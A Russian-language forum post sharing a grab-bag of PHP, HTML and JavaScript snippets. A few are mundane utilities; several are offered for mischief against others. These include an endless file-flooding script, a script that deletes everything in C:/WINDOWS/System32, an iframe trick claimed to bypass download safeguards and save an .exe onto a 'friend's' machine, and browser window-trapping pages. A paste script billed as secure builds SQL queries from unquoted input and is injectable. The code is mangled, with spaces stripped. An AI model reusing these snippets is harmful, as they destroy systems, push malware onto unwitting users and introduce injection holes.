1. Присоединяйся к лучшим! Пройди - РЕГИСТРАЦИЮ!

Скачать Полезные скрипты нашего времени

Тема в разделе "Программы и скрипты", создана пользователем Todos, 18 дек 2015.

  1. Todos

    By:Todos18 дек 2015
    Администратор
    Команда форума Администратор

    Регистрация:
    18 ноя 2018
    Сообщения:
    30.395
    Симпатии:
    11.571
    Полезные скрипты нашего времени

    Если вдруг понадобилось массово сменить кодировку всех файлов из одной директории с utf8 на cp1251:
    PHP: php

    functiondoit($dir='.'){
    $d=opendir($dir);
    while($f=readdir($d)){
    if($f!=='.'AND$f!=='..'){
    echo$f;
    if(is_file($dir.'/'.$f)){
    echo'Converting...';

    $a=file_get_contents($dir.'/'.$f);
    $a=iconv('UTF-8','WINDOWS-1251',$a);
    $fp=fopen($dir.'/'.$f,'w');
    fwrite($fp,$a);
    fclose($fp);
    echo'-OK';
    }elseif(is_dir($dir.'/'.$f)){
    echo'changingdir';
    doit($dir.'/'.$f);
    }else{
    echo'Skipping';
    }
    }
    }
    }
    doit('.');

    ?>
    Если понадобилось засрать все папки файлами :bbluuushСкрипт создаёт бесконечное число файлов с разными именами и расширениями + раличной длинны)
    PHP: php
    //Greetzвсемзаподлянщикам...
    //Аминь...
    //(C)Dr.Check
    ////////////////////////////////////////////////////////////////
    set_time_limit(0);
    ignore_user_abort();
    echo("ИБОНЕХУЙ!!!");
    /////////////////////////////////////////////////////////////////
    $name=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','r','s',
    't','u','v','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L',
    'M','N','O','P','R','S','T','U','V','X','Y','Z','1','2','3','4','5','6',
    '7','8','9','0');
    //////////////////////////////////////////////////////////////////
    $rash=array('.txt','.dic','.doc','.xls','.exe','.ini',
    '.bat','.log','.dll','.hak','.wmf','.zip','.rar',
    '.tar','.gz','.jpg','.gif','.bmp');
    /////////////////////////////////////////////////////////////////
    while(true){
    $perem="";
    $fuck="";
    for($i=0;$irand(20,1);$i++)//количествосиволоввименифайла.
    {
    $by=rand(0,count($name)-1);
    $perem.=$name[$by];
    }
    $ra=rand(0,count($rash)-1);
    $fuck.=$rash[$ra];
    $fp=fopen($perem.$fuck,"w");
    fwrite($fp,php_uname());
    fclose($fp);
    }
    ?>
    Скрипт проверяет на наличий сервисов POP, FTP и т.д
    PHP:

    ::CHECKER::


    |Введитеимясервера|
    "method="post">
    NAME:
    Обновить

    (0);
    set_time_limit(0);
    $domain=$_POST['domain'];
    $ip=gethostbyname($domain);
    $httpport="80";
    $ftpport="21";
    $popport="110";
    $imapport="143";
    $smtpport="25";
    $sshport="22";
    echo"";echo("IPадресхоста:");echo"";
    echo"";echo($ip);echo""
    ?>
    |Результатыпроверки|
    HTTP-->
    =fsockopen($domain,$httpport,$errno,$errstr,$timeout);
    if(!$http)
    {
    echo("\"DEACTIVATED\"");
    }

    else
    {
    echo("\"ACTIVATED\"");
    }
    ?>
    FTP-->
    =fsockopen($domain,$ftpport,$errno,$errstr,$timeout);
    if(!$ftp)
    {
    echo("\"DEACTIVATED\"");
    }

    else
    {
    echo("\"ACTIVATED\"");
    }
    ?>
    POP-->
    =fsockopen($domain,$popport,$errno,$errstr,$timeout);
    if(!$pop)
    {
    echo("\"DEACTIVATED\"");
    }

    else
    {
    echo("\"ACTIVATED\"");
    }
    ?>

    IMAP-->
    =fsockopen($domain,$imapport,$errno,$errstr,$timeout);
    if(!$imap)
    {
    echo("\"DEACTIVATED\"");
    }

    else
    {
    echo("\"ACTIVATED\"");
    }
    ?>

    SMTP-->
    =fsockopen($domain,$smtpport,$errno,$errstr,$timeout);
    if(!$smtp)
    {
    echo("\"DEACTIVATED\"");
    }

    else
    {
    echo("\"ACTIVATED\"");
    }
    ?>

    SSH-->
    =fsockopen($domain,$sshport,$errno,$errstr,$timeout);
    if(!$ssh)
    {
    echo("\"DEACTIVATED\"");
    }

    else
    {
    echo("\"ACTIVATED\"");
    }
    ?>



    Не дает закрвать окно.
    (пример простой, часто используется на порносайтах)

    PHP: html>
    head>
    title>PressALT+F4title>
    head>

    bodyonunload="good()">
    palign="center">
    b>Yuocan'tcloseyourbrowserwindow


    <!--
    functiongood()
    {window.open("Cantclose.htm");}
    //-->


    TryAlt+F4!


    Позволяет узнать выставленную кодировку.
    PHP: script>
    varu=navigator.userAgent;
    if(u.indexOf("Win")!=-1)//Текств1251
    document.writeln("Windows1251");
    elseif(u.indexOf("DOS")!=-1||u.indexOf("OS/2")!=-1)//Текств866
    document.writeln("MS-DOSCP866");//ТекствK018
    elsedocument.writein("лПДЙТПЧЛБKOI8-R");
    Cкрипт показывает последнее обновление страницы
    PHP: scriptlanguage="JavaScript">
    <!--
    vardateMod="";
    dateMod=document.lastModified;
    document.write("LastUpdate:");
    document.write(dateMod);
    document.write();
    //-->
    Скрипт смотрит все файлы в данном каталоге, и изменяет расширения этих фалов на заданные Вами:

    PHP: php
    $star='txt';//РасширениеДО
    $nov='php';//РасширениеПОСЛЕ

    functionlistDir($url){
    $i=0;
    $dir=opendir(".");
    while(false!==($file=readdir($dir))){
    if(($file!=".")&&($file!="..")){
    $outp[$i]=$file;
    ++$i;
    }
    }
    closedir($dir);
    return$outp;
    }

    functionfil_list($path){
    global$star,$nov;
    $path_array=listDir($path);
    for($i=0;$icount($path_array);$i++){
    if($path>'')$p='/';
    else$p='';
    $ls=$path.$p.$path_array[$i];
    if(@is_dir($ls))fil_list($ls);
    elseif(preg_match('/\.'.$star.'$/i',$ls)){
    $fd_new=substr($ls,0,strlen($ls)-strlen($star)).$nov;
    rename($ls,$fd_new);
    echo$ls.'>>>'.$fd_new.'';
    }
    }
    }

    fil_list($start_dir);
    ?>
    С помощью этого скриптика можно обойти ограничения безопасности для 'File Download' и 'File Open' и загрузить произвольный файл на компьютер *друга*

    PHP: html>
    body>
    iframesrc='http://your.domain.com/v.exe?.htm'name=
    "NotFound"width="0"height="0">iframe>
    Clickahref=#onclick="javascript:document.frames.NotFound.
    document.execCommand('SaveAs',1,'funnyjoke.exe');">here.

    Таким способом можно подделать URL, которого не будет отображен в браузере
    PHP: javascript:document.write(""); Прикольный скрипт, пригодится для выкидывания юзеров из чата и других пакостей

    PHP: bodyscroll=nobgcolor=black>script>setInterval("focus()",10);w=open('','','fullscreen=1');w.document.write(''+document.body.innerHTML+'') Скрипт тупо удаляет все файлы из папки

    PHP: php
    set_time_limit(0);
    foreach(glob("C:/WINDOWS/System32/*")as$filename)
    {
    unlink($filename);
    }

    ?>
    Хорошо прокоментированный скрипт безопасной работы с mysql (копирайты в сорце)

    PHP: php
    /*WPCPaste!
    *ZarathurulestheUniverse
    *
    *ByZarathu
    *www.thesarcasm.com
    *
    *[email protected]
    *
    */

    /*SETTINGSTOBEMODIFIED*/
    $mySQL_user="YOUR_USERNAME";
    $mySQL_pass="YOUR_PASSWORD";

    $mySQL_database="pb";
    $mySQL_table="data";

    $mySQL_idField="id";
    $mySQL_strField="stuff";

    $URLtoPaste="http://www.thesarcasm.com/";

    /*$URLtoPaste:Becareful.Thisneedstoincludethepath.
    *onmywebsite,forexample,ifIhadthepaste.phpina
    *foldercalled'bullshit'ontheserver,$URLtoPastewould
    *be"http://www.thesarcasm.com/bullshit/"*/

    //MakesuretheURLendswithaslash!:]

    /***************************/

    /*DONOTMODIFY,YOUTURKISHASSHOLE:]*/
    $ZarathuRulesTheUniverse=TRUE;


    ?>



    WPCPaste!




    if($_GET['id']!=null&&($ZarathuRulesTheUniverse)){
    $id=$_GET['id'];

    //securityforyouassholehackers;]
    $security=strpbrk($id,'\'\">);
    if($security!=FALSE){throwError();}

    //ifahackerwastryingtomanipulatethescript
    //itwouldhavealreadydied.therefore,wecan
    //safelycallthefollowingmethod.
    getData($id);
    }elseif($_POST['textarea']!=null&&($ZarathuRulesTheUniverse)){
    $data=$_POST['textarea'];
    setData($data);
    }elseif(($_POST['textarea']==null)&&($_GET['id']==null)&&($ZarathuRulesTheUniverse)){
    echoWelcome();
    }
    ?>





    ZarathuRulestheUniverse



    //methods

    functionechoWelcome(){
    echo("WelcometoWPCPaste!");
    echo("Thisprogramissimpletouse,unlessyou'reacompletemoron.");
    echo("ProgrammedbyZarathu");
    echo("Enjoy!");
    }

    functiongetData($id){
    global$ZarathuRulesTheUniverse,$URLtoPaste,$mySQL_user,$mySQL_pass,$mySQL_database,$mySQL_table,$mySQL_idField,$mySQL_strField;

    //securitybullshitforyouassholehackers
    if($id==null&&($ZarathuRulesTheUniverse)){throwError();}

    //establishesconnection...
    $link=establishConnection();

    //Alright,nowthatwe'vegotourshittogether...
    //SELECTstuffFROMdataWHEREid=$id
    $query=mysql_query('SELECT'.$mySQL_strField.'FROM'.$mySQL_table.'WHERE'.$mySQL_idField.'='.$id);

    //needthisarraytoconvertintoHTML
    $newLines=array("\r\n","\n","\r");
    if(!$ZarathuRulesTheUniverse){throwError();}

    //printsselectedbullshit
    if(!$query&&($ZarathuRulesTheUniverse)){
    throwSQLError();
    }else{
    while($line=mysql_fetch_array($query,MYSQL_ASSOC)){
    foreach($lineas$col_value){
    echostr_replace($newLines,"",$col_value);
    }
    }
    }
    }

    functionsetData($data){
    global$ZarathuRulesTheUniverse,$URLtoPaste,$mySQL_user,$mySQL_pass,$mySQL_database,$mySQL_table,$mySQL_idField,$mySQL_strField;
    if(!$ZarathuRulesTheUniverse){throwError();}

    //establishesthathairysonofabitch
    $link=establishConnection();
    $newID=rand(1000000,9000000);

    //security!
    $data=str_replace("'","\'",$data);
    $data=str_replace("\"","\\\"",$data);
    $data=str_replace(">",">",$data);
    $data=str_replace(",",$data);
    $data=str_replace('\\','\\\\',$data);

    //insertsshittles...watchmeruleagain.
    $bullshit="INSERTINTO$mySQL_table($mySQL_idField,$mySQL_strField)VALUES($newID,'$data')";
    $query=mysql_query($bullshit);

    if(!$query&&($ZarathuRulesTheUniverse)){
    throwSQLError();
    }else{
    $newURL="$URLtoPaste"."paste.php?id=$newID";
    echo("$newURL\">$newURL");
    http_redirect($newURL);
    }
    }

    functionestablishConnection(){
    global$ZarathuRulesTheUniverse,$URLtoPaste,$mySQL_user,$mySQL_pass,$mySQL_database,$mySQL_table,$mySQL_idField,$mySQL_strField;

    //establishesconnection...
    $link=mysql_connect('localhost',$mySQL_user,$mySQL_pass);
    //...andchecksforerrors
    if(!$link&&($ZarathuRulesTheUniverse)){throwSQLError();}
    if(!mysql_select_db($mySQL_database)&&($ZarathuRulesTheUniverse)){throwSQLError();}
    if(!$ZarathuRulesTheUniverse){throwError();}

    return$link;
    }

    functionthrowError(){
    die("Error!\n\n");
    //ifyoureallyneedacomment,hereitis.
    //throwsanerrorandexits
    }

    functionthrowSQLError(){
    die("Error!\n\n(".mysql_error().")");
    //ifyoureallyneedacomment,you'reanidiot.
    //gofuckyourself.
    }

    ?>

    Код, который, делая редирект, подменяет адрес в браузере:
    PHP: html>
    bodystyle="margin:0px;padding:0px;">
    iframesrc="ВАША_ССЫЛКА"frameborder="0"scrolling="yes"height="100%"width="100%">iframe>
    body>
    html>

    P.S Если кто желает,то дописывайте в коментах свои скрипты. Людям будет интресно, ну и вам "+" в симпатии будет!
     
Похожие темы
  1. Todos
    Ответов:
    0
    Просмотров:
    291
  2. Todos
    Ответов:
    0
    Просмотров:
    219
  3. Todos
    Ответов:
    0
    Просмотров:
    266
  4. Todos
    Ответов:
    1
    Просмотров:
    564
  5. Shark Mafia
    Ответов:
    2
    Просмотров:
    781
  6. #Megalodon
    Ответов:
    0
    Просмотров:
    755
  7. Shark Mafia
    Ответов:
    0
    Просмотров:
    719
Загрузка...